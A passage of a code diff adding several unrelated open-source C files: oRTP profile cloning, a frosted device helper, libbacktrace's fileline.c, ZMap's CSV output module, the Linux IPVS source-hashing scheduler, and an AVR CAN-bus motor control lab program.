+		if (pt!=NULL){
+			rtp_profile_set_payload(newprof,i,pt);
+		}
+	}
+	return newprof;
+}
+
+
+/*clone a profile and its payloads */
+RtpProfile * rtp_profile_clone_full(RtpProfile *prof)
+{
+	int i;
+	PayloadType *pt;
+	RtpProfile *newprof=rtp_profile_new(prof->name);
+	for (i=0;i<RTP_PROFILE_MAX_PAYLOADS;i++){
+		pt=rtp_profile_get_payload(prof,i);
+		if (pt!=NULL){
+			rtp_profile_set_payload(newprof,i,payload_type_clone(pt));
+		}
+	}
+	return newprof;
+}
+
+void rtp_profile_destroy(RtpProfile *prof)
+{
+	int i;
+	PayloadType *payload;
+	if (prof->name) {
+		ortp_free(prof->name);
+		prof->name = NULL;
+	}
+	for (i=0;i<RTP_PROFILE_MAX_PAYLOADS;i++)
+	{
+		payload=rtp_profile_get_payload(prof,i);
+		if (payload!=NULL && (payload->flags & PAYLOAD_TYPE_ALLOCATED))
+			payload_type_destroy(payload);
+	}
+	ortp_free(prof);
+}
diff --git a/pool/shard001/C/0021984_device.c b/pool/shard001/C/0021984_device.c
new file mode 100644
index 0000000000000000000000000000000000000000..aa484265dd2ff00640b49b65e2b4b29e7c47563b
--- /dev/null
+++ b/pool/shard001/C/0021984_device.c
@@ -0,0 +1,46 @@
+/*
+ *      This file is part of frosted.
+ *
+ *      frosted is free software: you can redistribute it and/or modify
+ *      it under the terms of the GNU General Public License version 2, as
+ *      published by the Free Software Foundation.
+ *
+ *
+ *      frosted is distributed in the hope that it will be useful,
+ *      but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *      GNU General Public License for more details.
+ *
+ *      You should have received a copy of the GNU General Public License
+ *      along with frosted.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ *      Authors:
+ *
+ */
+
+#include "frosted.h"
+#include "device.h"
+
+int device_open(const char *path, int flags)
+{
+    struct fnode *f = fno_search(path);
+    if (!f)
+        return -1;
+    return task_filedesc_add(f);
+}
+
+struct device *  device_fno_init(struct module * mod, const char * name, struct fnode *node, uint32_t flags, void * priv)
+{
+    struct device * device = kalloc(sizeof(struct device));
+    device->fno = NULL;
+    /* Only create a device node if there is a name */
+    if(name)
+    {
+        device->fno =  fno_create(mod, name, node);
+        device->fno->priv = priv;
+        device->fno->flags |= flags;
+    }
+    device->task = NULL;
+    device->mutex = mutex_init();
+    return device;
+}
diff --git a/pool/shard001/C/0021987_fileline.c b/pool/shard001/C/0021987_fileline.c
new file mode 100644
index 0000000000000000000000000000000000000000..e5673068379b50cdf9dc92c145902f93b7c984f9
--- /dev/null
+++ b/pool/shard001/C/0021987_fileline.c
@@ -0,0 +1,201 @@
+/* fileline.c -- Get file and line number information in a backtrace.
+   Copyright (C) 2012-2018 Free Software Foundation, Inc.
+   Written by Ian Lance Taylor, Google.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+    (1) Redistributions of source code must retain the above copyright
+    notice, this list of conditions and the following disclaimer.
+
+    (2) Redistributions in binary form must reproduce the above copyright
+    notice, this list of conditions and the following disclaimer in
+    the documentation and/or other materials provided with the
+    distribution.
+
+    (3) The name of the author may not be used to
+    endorse or promote products derived from this software without
+    specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
+IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.  */
+
+#include "config.h"
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include "backtrace.h"
+#include "internal.h"
+
+#ifndef HAVE_GETEXECNAME
+#define getexecname() NULL
+#endif
+
+/* Initialize the fileline information from the executable.  Returns 1
+   on success, 0 on failure.  */
+
+static int
+fileline_initialize (struct backtrace_state *state,
+		     backtrace_error_callback error_callback, void *data)
+{
+  int failed;
+  fileline fileline_fn;
+  int pass;
+  int called_error_callback;
+  int descriptor;
+  const char *filename;
+  char buf[64];
+
+  if (!state->threaded)
+    failed = state->fileline_initialization_failed;
+  else
+    failed = backtrace_atomic_load_int (&state->fileline_initialization_failed);
+
+  if (failed)
+    {
+      error_callback (data, "failed to read executable information", -1);
+      return 0;
+    }
+
+  if (!state->threaded)
+    fileline_fn = state->fileline_fn;
+  else
+    fileline_fn = backtrace_atomic_load_pointer (&state->fileline_fn);
+  if (fileline_fn != NULL)
+    return 1;
+
+  /* We have not initialized the information.  Do it now.  */
+
+  descriptor = -1;
+  called_error_callback = 0;
+  for (pass = 0; pass < 5; ++pass)
+    {
+      int does_not_exist;
+
+      switch (pass)
+	{
+	case 0:
+	  filename = state->filename;
+	  break;
+	case 1:
+	  filename = getexecname ();
+	  break;
+	case 2:
+	  filename = "/proc/self/exe";
+	  break;
+	case 3:
+	  filename = "/proc/curproc/file";
+	  break;
+	case 4:
+	  snprintf (buf, sizeof (buf), "/proc/%ld/object/a.out",
+		    (long) getpid ());
+	  filename = buf;
+	  break;
+	default:
+	  abort ();
+	}
+
+      if (filename == NULL)
+	continue;
+
+      descriptor = backtrace_open (filename, error_callback, data,
+				   &does_not_exist);
+      if (descriptor < 0 && !does_not_exist)
+	{
+	  called_error_callback = 1;
+	  break;
+	}
+      if (descriptor >= 0)
+	break;
+    }
+
+  if (descriptor < 0)
+    {
+      if (!called_error_callback)
+	{
+	  if (state->filename != NULL)
+	    error_callback (data, state->filename, ENOENT);
+	  else
+	    error_callback (data,
+			    "libbacktrace could not find executable to open",
+			    0);
+	}
+      failed = 1;
+    }
+
+  if (!failed)
+    {
+      if (!backtrace_initialize (state, filename, descriptor, error_callback,
+				 data, &fileline_fn))
+	failed = 1;
+    }
+
+  if (failed)
+    {
+      if (!state->threaded)
+	state->fileline_initialization_failed = 1;
+      else
+	backtrace_atomic_store_int (&state->fileline_initialization_failed, 1);
+      return 0;
+    }
+
+  if (!state->threaded)
+    state->fileline_fn = fileline_fn;
+  else
+    {
+      backtrace_atomic_store_pointer (&state->fileline_fn, fileline_fn);
+
+      /* Note that if two threads initialize at once, one of the data
+	 sets may be leaked.  */
+    }
+
+  return 1;
+}
+
+/* Given a PC, find the file name, line number, and function name.  */
+
+int
+backtrace_pcinfo (struct backtrace_state *state, uintptr_t pc,
+		  backtrace_full_callback callback,
+		  backtrace_error_callback error_callback, void *data)
+{
+  if (!fileline_initialize (state, error_callback, data))
+    return 0;
+
+  if (state->fileline_initialization_failed)
+    return 0;
+
+  return state->fileline_fn (state, pc, callback, error_callback, data);
+}
+
+/* Given a PC, find the symbol for it, and its value.  */
+
+int
+backtrace_syminfo (struct backtrace_state *state, uintptr_t pc,
+		   backtrace_syminfo_callback callback,
+		   backtrace_error_callback error_callback, void *data)
+{
+  if (!fileline_initialize (state, error_callback, data))
+    return 0;
+
+  if (state->fileline_initialization_failed)
+    return 0;
+
+  state->syminfo_fn (state, pc, callback, error_callback, data);
+  return 1;
+}
diff --git a/pool/shard001/C/0022005_module_csv.c b/pool/shard001/C/0022005_module_csv.c
new file mode 100644
index 0000000000000000000000000000000000000000..88eab8febae82193004088c27829d1ac3e145bd0
--- /dev/null
+++ b/pool/shard001/C/0022005_module_csv.c
@@ -0,0 +1,127 @@
+/*
+ * ZMap Copyright 2013 Regents of the University of Michigan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at http://www.apache.org/licenses/LICENSE-2.0
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <errno.h>
+
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <assert.h>
+#include <inttypes.h>
+
+#include "../../lib/logger.h"
+#include "../fieldset.h"
+
+#include "output_modules.h"
+
+static FILE *file = NULL;
+
+int csv_init(struct state_conf *conf, char **fields, int fieldlens)
+{
+	assert(conf);
+	if (conf->output_filename) {
+		if (!strcmp(conf->output_filename, "-")) {
+			file = stdout;
+		} else {
+			if (!(file = fopen(conf->output_filename, "w"))) {
+				log_fatal("csv", "could not open CSV output file (%s): %s",
+					conf->output_filename, strerror(errno));
+			}
+		}
+	} else {
+		file = stdout;
+		log_info("csv", "no output file selected, will use stdout");
+	}
+	if (fieldlens > 1 && file) {
+		log_debug("csv", "more than one field, will add headers");
+		for (int i=0; i < fieldlens; i++) {
+			if (i) {
+				fprintf(file, ",");
+			}
+			fprintf(file, "%s", fields[i]);
+		}
+			fprintf(file, "\n");
+	}
+	check_and_log_file_error(file, "csv");
+	return EXIT_SUCCESS;
+}
+
+int csv_close(__attribute__((unused)) struct state_conf* c,
+	__attribute__((unused)) struct state_send* s,
+	__attribute__((unused)) struct state_recv* r)
+{
+	if (file) {
+		fflush(file);
+		fclose(file);
+	}
+	return EXIT_SUCCESS;
+}
+
+static void hex_encode(FILE *f, unsigned char* readbuf, size_t len)
+{
+	for(size_t i=0; i < len; i++) {
+		fprintf(f, "%02x", readbuf[i]);
+	}
+	check_and_log_file_error(f, "csv");
+}
+
+int csv_process(fieldset_t *fs)
+{
+	if (!file) {
+		return EXIT_SUCCESS;
+	}
+	for (int i=0; i < fs->len; i++) {
+		field_t *f = &(fs->fields[i]);
+		if (i) {
+			fprintf(file, ",");
+		}
+		if (f->type == FS_STRING) {
+			if (strchr((char*) f->value.ptr, ',')) {
+				fprintf(file, "\"%s\"", (char*) f->value.ptr);
+			} else {
+				fprintf(file, "%s", (char*) f->value.ptr);
+			}
+		} else if (f->type == FS_UINT64) {
+			fprintf(file, "%" PRIu64, (uint64_t) f->value.num);
+		} else if (f->type == FS_BOOL) {
+			fprintf(file, "%" PRIi32, (int) f->value.num);
+		} else if (f->type == FS_BINARY) {
+			hex_encode(file, (unsigned char*) f->value.ptr, f->len);
+		} else if (f->type == FS_NULL) {
+			// do nothing
+		} else {
+			log_fatal("csv", "received unknown output type");
+		}
+	}
+	fprintf(file, "\n");
+	fflush(file);
+	check_and_log_file_error(file, "csv");
+	return EXIT_SUCCESS;
+}
+
+
+output_module_t module_csv_file = {
+	.name = "csv",
+	.filter_duplicates = 0, // framework should not filter out duplicates
+	.filter_unsuccessful = 0,  // framework should not filter out unsuccessful
+	.init = &csv_init,
+	.start = NULL,
+	.update = NULL,
+	.update_interval = 0,
+	.close = &csv_close,
+	.process_ip = &csv_process,
+    .supports_dynamic_output = NO_DYNAMIC_SUPPORT,
+	.helptext = "Outputs one or more output fields as a comma-delimited file. By default, the "
+	"probe module does not filter out duplicates or limit to successful fields, "
+	"but rather includes all received packets. Fields can be controlled by "
+	"setting --output-fields. Filtering out failures and duplicate packets can "
+	"be achieved by setting an --output-filter."
+};
diff --git a/pool/shard001/C/0022011_ip_vs_sh.c b/pool/shard001/C/0022011_ip_vs_sh.c
new file mode 100644
index 0000000000000000000000000000000000000000..456a3583e48b92479c0dfcd419d30255e7aed0de
--- /dev/null
+++ b/pool/shard001/C/0022011_ip_vs_sh.c
@@ -0,0 +1,257 @@
+/*
+ * IPVS:        Source Hashing scheduling module
+ *
+ * Version:     $Id$
+ *
+ * Authors:     Wensong Zhang <wensong@gnuchina.org>
+ *
+ *              This program is free software; you can redistribute it and/or
+ *              modify it under the terms of the GNU General Public License
+ *              as published by the Free Software Foundation; either version
+ *              2 of the License, or (at your option) any later version.
+ *
+ * Changes:
+ *
+ */
+
+/*
+ * The sh algorithm is to select server by the hash key of source IP
+ * address. The pseudo code is as follows:
+ *
+ *       n <- servernode[src_ip];
+ *       if (n is dead) OR
+ *          (n is overloaded) or (n.weight <= 0) then
+ *                 return NULL;
+ *
+ *       return n;
+ *
+ * Notes that servernode is a 256-bucket hash table that maps the hash
+ * index derived from packet source IP address to the current server
+ * array. If the sh scheduler is used in cache cluster, it is good to
+ * combine it with cache_bypass feature. When the statically assigned
+ * server is dead or overloaded, the load balancer can bypass the cache
+ * server and send requests to the original server directly.
+ *
+ */
+
+#include <linux/ip.h>
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/skbuff.h>
+
+#include <net/ip_vs.h>
+
+
+/*
+ *      IPVS SH bucket
+ */
+struct ip_vs_sh_bucket {
+	struct ip_vs_dest       *dest;          /* real server (cache) */
+};
+
+/*
+ *     for IPVS SH entry hash table
+ */
+#ifndef CONFIG_IP_VS_SH_TAB_BITS
+#define CONFIG_IP_VS_SH_TAB_BITS        8
+#endif
+#define IP_VS_SH_TAB_BITS               CONFIG_IP_VS_SH_TAB_BITS
+#define IP_VS_SH_TAB_SIZE               (1 << IP_VS_SH_TAB_BITS)
+#define IP_VS_SH_TAB_MASK               (IP_VS_SH_TAB_SIZE - 1)
+
+
+/*
+ *	Returns hash value for IPVS SH entry
+ */
+static inline unsigned ip_vs_sh_hashkey(__be32 addr)
+{
+	return (ntohl(addr)*2654435761UL) & IP_VS_SH_TAB_MASK;
+}
+
+
+/*
+ *      Get ip_vs_dest associated with supplied parameters.
+ */
+static inline struct ip_vs_dest *
+ip_vs_sh_get(struct ip_vs_sh_bucket *tbl, __be32 addr)
+{
+	return (tbl[ip_vs_sh_hashkey(addr)]).dest;
+}
+
+
+/*
+ *      Assign all the hash buckets of the specified table with the service.
+ */
+static int
+ip_vs_sh_assign(struct ip_vs_sh_bucket *tbl, struct ip_vs_service *svc)
+{
+	int i;
+	struct ip_vs_sh_bucket *b;
+	struct list_head *p;
+	struct ip_vs_dest *dest;
+
+	b = tbl;
+	p = &svc->destinations;
+	for (i=0; i<IP_VS_SH_TAB_SIZE; i++) {
+		if (list_empty(p)) {
+			b->dest = NULL;
+		} else {
+			if (p == &svc->destinations)
+				p = p->next;
+
+			dest = list_entry(p, struct ip_vs_dest, n_list);
+			atomic_inc(&dest->refcnt);
+			b->dest = dest;
+
+			p = p->next;
+		}
+		b++;
+	}
+	return 0;
+}
+
+
+/*
+ *      Flush all the hash buckets of the specified table.
+ */
+static void ip_vs_sh_flush(struct ip_vs_sh_bucket *tbl)
+{
+	int i;
+	struct ip_vs_sh_bucket *b;
+
+	b = tbl;
+	for (i=0; i<IP_VS_SH_TAB_SIZE; i++) {
+		if (b->dest) {
+			atomic_dec(&b->dest->refcnt);
+			b->dest = NULL;
+		}
+		b++;
+	}
+}
+
+
+static int ip_vs_sh_init_svc(struct ip_vs_service *svc)
+{
+	struct ip_vs_sh_bucket *tbl;
+
+	/* allocate the SH table for this service */
+	tbl = kmalloc(sizeof(struct ip_vs_sh_bucket)*IP_VS_SH_TAB_SIZE,
+		      GFP_ATOMIC);
+	if (tbl == NULL) {
+		IP_VS_ERR("ip_vs_sh_init_svc(): no memory\n");
+		return -ENOMEM;
+	}
+	svc->sched_data = tbl;
+	IP_VS_DBG(6, "SH hash table (memory=%Zdbytes) allocated for "
+		  "current service\n",
+		  sizeof(struct ip_vs_sh_bucket)*IP_VS_SH_TAB_SIZE);
+
+	/* assign the hash buckets with the updated service */
+	ip_vs_sh_assign(tbl, svc);
+
+	return 0;
+}
+
+
+static int ip_vs_sh_done_svc(struct ip_vs_service *svc)
+{
+	struct ip_vs_sh_bucket *tbl = svc->sched_data;
+
+	/* got to clean up hash buckets here */
+	ip_vs_sh_flush(tbl);
+
+	/* release the table itself */
+	kfree(svc->sched_data);
+	IP_VS_DBG(6, "SH hash table (memory=%Zdbytes) released\n",
+		  sizeof(struct ip_vs_sh_bucket)*IP_VS_SH_TAB_SIZE);
+
+	return 0;
+}
+
+
+static int ip_vs_sh_update_svc(struct ip_vs_service *svc)
+{
+	struct ip_vs_sh_bucket *tbl = svc->sched_data;
+
+	/* got to clean up hash buckets here */
+	ip_vs_sh_flush(tbl);
+
+	/* assign the hash buckets with the updated service */
+	ip_vs_sh_assign(tbl, svc);
+
+	return 0;
+}
+
+
+/*
+ *      If the dest flags is set with IP_VS_DEST_F_OVERLOAD,
+ *      consider that the server is overloaded here.
+ */
+static inline int is_overloaded(struct ip_vs_dest *dest)
+{
+	return dest->flags & IP_VS_DEST_F_OVERLOAD;
+}
+
+
+/*
+ *      Source Hashing scheduling
+ */
+static struct ip_vs_dest *
+ip_vs_sh_schedule(struct ip_vs_service *svc, const struct sk_buff *skb)
+{
+	struct ip_vs_dest *dest;
+	struct ip_vs_sh_bucket *tbl;
+	struct iphdr *iph = skb->nh.iph;
+
+	IP_VS_DBG(6, "ip_vs_sh_schedule(): Scheduling...\n");
+
+	tbl = (struct ip_vs_sh_bucket *)svc->sched_data;
+	dest = ip_vs_sh_get(tbl, iph->saddr);
+	if (!dest
+	    || !(dest->flags & IP_VS_DEST_F_AVAILABLE)
+	    || atomic_read(&dest->weight) <= 0
+	    || is_overloaded(dest)) {
+		return NULL;
+	}
+
+	IP_VS_DBG(6, "SH: source IP address %u.%u.%u.%u "
+		  "--> server %u.%u.%u.%u:%d\n",
+		  NIPQUAD(iph->saddr),
+		  NIPQUAD(dest->addr),
+		  ntohs(dest->port));
+
+	return dest;
+}
+
+
+/*
+ *      IPVS SH Scheduler structure
+ */
+static struct ip_vs_scheduler ip_vs_sh_scheduler =
+{
+	.name =			"sh",
+	.refcnt =		ATOMIC_INIT(0),
+	.module =		THIS_MODULE,
+	.init_service =		ip_vs_sh_init_svc,
+	.done_service =		ip_vs_sh_done_svc,
+	.update_service =	ip_vs_sh_update_svc,
+	.schedule =		ip_vs_sh_schedule,
+};
+
+
+static int __init ip_vs_sh_init(void)
+{
+	INIT_LIST_HEAD(&ip_vs_sh_scheduler.n_list);
+	return register_ip_vs_scheduler(&ip_vs_sh_scheduler);
+}
+
+
+static void __exit ip_vs_sh_cleanup(void)
+{
+	unregister_ip_vs_scheduler(&ip_vs_sh_scheduler);
+}
+
+
+module_init(ip_vs_sh_init);
+module_exit(ip_vs_sh_cleanup);
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0022012_Node_2_can.c b/pool/shard001/C/0022012_Node_2_can.c
new file mode 100644
index 0000000000000000000000000000000000000000..9ad772fbd25cf14153aad76424b0b77c732ca71d
--- /dev/null
+++ b/pool/shard001/C/0022012_Node_2_can.c
@@ -0,0 +1,466 @@
+/*
+ * iA_lab_5.c
+ *
+ * Created: 30.09.2014 11:15:26
+ *  Author: waseemh
+ */
+
+#define F_CPU 16000000UL
+#include <avr/io.h>
+#include <stdio.h>
+#include <avr/interrupt.h>
+#include <util/delay.h>
+#include "CAN.h"
+#include "PWM.h"
+#include "ADC_NODE_2.h"
+//#include "TWI_NODE_2.h"
+#include "atmega_twi_driver.h"
+#include "ENCODER_NODE_2.h"
+#include <stdlib.h>
+
+
+		//GENERAL PURPOSE MACRO (IR and other)
+
+#define IR_TH 40
+
+#define DAC_ADDR 0x50		//in binary it is 01010000
+#define DAC_CMD 0x00		//PD and RST are zero, Output is at DAC channel 0
+#define DAC_RESET 0x10		//Reset command!!!! 0b00010000
+
+#define SLAVE_ADDRESS 0b0101000
+#define MOTOR_ENABLE			(PORTF |=(1<<PF5))
+#define MOTOR_DISABLE			(PORTF &=~(1<<PF5))
+#define DIR_LEFT			(PORTF |=(1<<PF6))
+#define DIR_RIGHT			(PORTF &=~(1<<PF6))
+
+
+
+
+			//PI CONTROLLER MACROS *0.01 and 0.08*
+/*
+#define Kp	0.008
+#define Ki	0.005
+#define Kd  0.05
+*/
+#define CONTROL_STALL 150
+
+
+		//MACROS FOR CAN CONTROLLER MODES
+
+#define NORMAL 0x00
+#define LOOP_BACK 0x02
+
+
+		//FUNCTION DECLARATIONS
+void position(char *x_val,char *y_val);
+uint8_t adc_filter_read(void);
+
+
+		//GLOBAL VARIABLES (for interrupts and ISRS etc)
+		
+int rx_flag=0;
+float Kp = 0.008;
+float Ki =	0.005;
+float Kd =  0.05;
+
+
+
+int main(void)
+{
+int i;	
+	//INTERRUPT CONFIGURATION (INT2)
+	
+	
+	sei();						//Enable Global Interrupts
+	EIMSK |= (1<<INT2);			//Enable INT_2
+	EICRA  |= (1<<ISC21);		//Falling Edge
+	
+	
+	//DATA VARIABLES
+	
+	char rx_data[8];				//CAN RX data
+	char tx_data[8];				//CAN TX data
+	uint8_t rx_id[2], rx_length;	//CAN control field
+	uint8_t servo_pwm_value=0;		//SERVO and PWM variables
+	uint8_t score=0;				//IR and Score variables
+	char enc_upper,enc_lower;				//variables for encoder
+	
+	
+	
+	//PI controller part
+	uint8_t sp_var_1=0;
+	int16_t set_point = 0;
+	int16_t error_p=0,error_int=0,error_d=0,error_current=0,error_last=0;
+	float control_output=0;
+	
+	//Encoder Variables
+	int16_t encoder_value=0;			//Variable for Mathematical calculations
+
+	int16_t encoder_current=0,encoder_start=0,encoder_end=0,encoder_range=0;		//Variables for reading encoder;
+	
+	
+	
+	
+	
+	//PWM, Internal ADC, TWI, SPI and CAN initialization functions
+
+	pwm_config();
+
+	adc_init();
+
+	spi_config();
+	
+	can_reset();
+		
+	
+	//Test
+	//unsigned char Data[16];
+	//unsigned char receivedData [16];
+	//! Initialize the driver
+	atmel_led_drvr_init();
+	
+	
+		//CAN configuration function (normal mode)
+			
+	can_config(NORMAL);		//configure in loop back mode
+
+	static uint8_t score_count = 0;
+	
+	/*
+			//DAC RESET PORTION
+	
+	TWI_start();		//send servo value on I2C interface
+	//_delay_ms(5);
+	TWI_write((uint8_t)DAC_ADDR);		//send address of slave!!!
+	_delay_us(10);
+	TWI_write((uint8_t)DAC_RESET);
+	_delay_us(10);
+	
+	TWI_stop();
+
+	
+	*/
+	
+	
+			//Ports for encoder
+			
+	DDRF|=(1<<PF2) |(1<<PF3) |(1<<PF4) |(1<<PF5) |(1<<PF6);		//output port bits for encoder values
+	
+	DDRH |= (1<<PH1);											//MAKE PH 1 OUTPUT FOR TOGGLE AND TIMING
+
+	DDRK=0x00;		//input port
+	
+	
+	//unsigned int data = 0;
+	uint8_t data_to_send = 0;
+	
+
+	
+	
+	
+	MOTOR_ENABLE;
+	DIR_LEFT;
+	atmel_led_drvr_writeregister(SLAVE_ADDRESS, DAC_CMD, 120);
+	_delay_ms(2000);
+	MOTOR_DISABLE;
+	PORTH &=~(1<<PH1);
+	
+	for(i=0;i<50;i++)
+	{
+		encoder_init();
+	}
+	
+//	can_transmit(0,0x05,8,tx_data);
+		
+	
+	
+	MOTOR_ENABLE;
+	DIR_RIGHT;
+	atmel_led_drvr_writeregister(SLAVE_ADDRESS, DAC_CMD, 120);
+	_delay_ms(2000);
+	MOTOR_DISABLE;
+	
+	
+	
+	for(i=0;i<10;i++)
+	{
+		encoder_read(&enc_upper,&enc_lower);
+		encoder_end+=(enc_upper*0x100)+enc_lower;
+	}
+	
+	encoder_end=encoder_end/10;					//average 10 values!!!
+
+	encoder_range=(encoder_end-encoder_start);
+	
+
+    while(1)
+    {	
+		
+		
+		PORTH |= (1<<(PH1));
+		/************************************************************************/
+		/* This commented part is before editions!!! 
+		                                                                     */
+		/************************************************************************/
+		/*
+		encoder_read(&enc_upper,&enc_lower);
+		
+		encoder_value=(enc_upper<<8)+enc_lower;
+		
+		encoder_value=encoder_value/4;
+		*/
+		
+		
+		encoder_read(&enc_upper,&enc_lower);
+		
+		encoder_current=((enc_upper*0x100)+enc_lower);
+		
+		
+		encoder_value=(encoder_current);		//convert to percentage 0 to 100 is range of encoder value
+		
+		
+		
+		uint8_t val = adc_filter_read();
+		
+		if(val < IR_TH && val > 12)
+		{
+			score_count ++;
+			//_delay_ms(2);
+			
+		}else score_count = 0;
+		
+		/*if(score_count > 50){
+			is_score = 1;
+		}else is_score = 0;
+		*/
+		if(score_count>20){
+			score_count = 0;
+			score++;
+		}
+		if(rx_flag)
+		{
+			can_rx_if_clear();
+			rx_flag=0;
+			can_receive(rx_id,&rx_length,rx_data);
+			can_rx_if_clear();
+			/************************************************************************/
+			/*                    SERVO POSITION CONTROL EQUATION 
+					
+					100 is added at node 2, so subtract here!!!
+					2 is offset (physical observation) so subtracted 
+						  			 							                    */
+			/************************************************************************/
+			
+			int16_t pos_x = (uint8_t)rx_data[2] - 117;
+			if (pos_x>125)
+			{
+				pos_x = 125;
+			}
+			if (pos_x<-125)
+			{
+				pos_x = -125;
+			}
+			if( -3 < pos_x && pos_x < 3 )
+				pos_x = 0;
+			servo_pwm_value = (PWM_MIN_DUTY + PWM_MIN_DUTY)/2 - ((PWM_MAX_DUTY - PWM_MIN_DUTY)*(pos_x/256.0)) + 5;
+		
+			pwm_funct(servo_pwm_value);
+			/************************************************************************/
+			/*  dynamic tuning pid                                                  */
+			/************************************************************************/
+			Kp = rx_data[4]/1000.0;
+			Ki = rx_data[5]/1000.0;
+			Kd = rx_data[6]/100.0;
+			/************************************************************************/
+			
+			tx_data[0] =servo_pwm_value;					//invert pattern, always remains constant
+			tx_data[1] =score;							//SCORE (changed from DIODE VALUE val)
+			tx_data[2] =rx_data[2];						//X 
+			//tx_data[3] =rx_data[3];						//Y
+			//tx_data[3] = data_to_send;
+			//tx_data[4] =servo_pwm_value;				//servo value
+ 			tx_data[5]=enc_upper;						//encoder upper byte
+			tx_data[6]=enc_lower;						//encoder lower byte
+			tx_data[3]=set_point/0x100;
+			tx_data[4]=set_point%0x100;
+			
+			
+			/************************************************************************/
+			/*				TWI communication and Motor control part  
+					Can be included outside flag routine!!!
+					
+					Controller Description
+					Mode: PI
+					Maximum value: 255
+					Direction Logic:
+					
+					Extreme Left=>  encoder=0
+					Extreme Right=> encoder= 100 (can be converted from 255 or other value)
+					
+					If SET_POINT-ERROR > 0 => DIR= LEFT
+					IF SET_POINT-ERROR < 0 => DIR= RIGHT 
+					 
+																					*/
+			/************************************************************************/
+			
+					//Before compiling, declare all variable of this section and make function of encoder!!!
+					
+					
+
+			/*// motor part
+			data = (uint8_t)rx_data[3];
+			if (data >123 && data <129){
+				MOTOR_DISABLE;
+			}else if(data > 129)
+			{
+				MOTOR_ENABLE;
+				DIR_LEFT;
+				data_to_send = data - 126;
+				}else if(data <123){
+				MOTOR_ENABLE;
+				DIR_RIGHT;
+				data_to_send = 126 - data;
+			}*/
+			sp_var_1=(uint8_t)rx_data[3];
+			
+			//sp_var_2=(60*sp_var_1);				//convert in percentage (0 to 100 is value)!!!
+			
+			set_point=60*sp_var_1;
+			
+			//set_point=(uint8_t)rx_data[3];				//SETPOINT is 4th byte of CAN frame (received), slider value!!!
+		/*
+			if (set_point >123 && set_point <129){
+				MOTOR_DISABLE;
+			}else if(set_point > 129)
+			{
+				MOTOR_ENABLE;
+				DIR_LEFT;
+			
+			}else if(set_point <123){
+				MOTOR_ENABLE;
+				DIR_RIGHT;
+	
+			}
+			error_p=set_point-encoder_value;
+			
+			error_int+=error_p;					//Integral effect
+			
+			
+			
+			control_output= (Kp*error_p) + (Ki*error_int);
+			
+			//data_to_send = (uint8_t)(96*(data_to_send/128.0));
+			if(control_output > 200)
+			control_output = 200;
+			
+			if(control_output < -200)
+			control_output = -200;
+			
+			//
+			*/
+		
+		error_p=set_point-encoder_value;
+		
+		error_current=error_p;
+		
+		error_int+=error_p;					//Integral effect
+		
+		error_d=error_current-error_last;
+		
+		error_last=error_current;
+		#define RANGE_A 0.168
+		#define RANGE_B 0.6
+		//control_output= (Kp*error_p) + (Ki*error_int) + (Kd*error_d);
+		if(abs(error_p) < 0.1*abs(encoder_range)){
+			control_output= (Kp*error_p) + (Kd*error_d);
+		}else if((abs(error_p) >= 0.1*abs(encoder_range))&&(abs(error_p) < 0.6*abs(encoder_range))){
+			control_output= (Kp*error_p) ;
+		}else{
+			control_output= (Kp*error_p) + (Ki*error_int);
+		}
+		
+		//control_output= (Kp*error_p) + (Ki*error_int)+(Kd*error_d);
+		//control_output=set_point-120;				//at center, it should be zero and at extreme (left or right but when ADC =0 ) its should be maximum/high enough (120)
+		if(control_output>0)
+		{
+			MOTOR_ENABLE;
+			DIR_RIGHT;
+			
+		}
+		else if (control_output<0)
+		{
+		MOTOR_ENABLE;
+		DIR_LEFT;
+		}
+		else 
+		{
+		MOTOR_DISABLE;	
+		}
+		
+		if(control_output >150 || control_output <-150)
+		{
+		control_output=150;	
+		}
+		
+			data_to_send = (uint8_t)abs(control_output);
+			
+			atmel_led_drvr_writeregister(SLAVE_ADDRESS, DAC_CMD, data_to_send);
+			 //
+			 can_transmit(0,0x05,8,tx_data);			//BUFFER 0, ID 0x05, 8 data bytes and data=stored string
+			can_rx_if_clear();
+		}
+		
+		can_rx_if_clear();	
+		
+		
+		
+	PORTH &= ~(1<<(PH1));
+	}
+	
+}
+
+
+/************************************************************************/
+/*		CAN RX FLAG INTERRUPT ROUTINE (ISR)                             
+		
+		EXTERNAL INTERRUPT 2 IS USED
+																		*/
+/************************************************************************/
+
+
+ISR(INT2_vect)
+{
+	rx_flag=1;					//set receive flag for main function, flag will be cleared in main.
+	EIFR &= ~(1<<INTF2);		//clear interrupt flag
+}
+
+
+/************************************************************************/
+/*				ADC (NODE 1) POSITON CALCULATION FUNCTION              */
+/************************************************************************/
+
+void position(char *x_val,char *y_val)
+{
+	*x_val=(signed char) ((*x_val)*100/128);
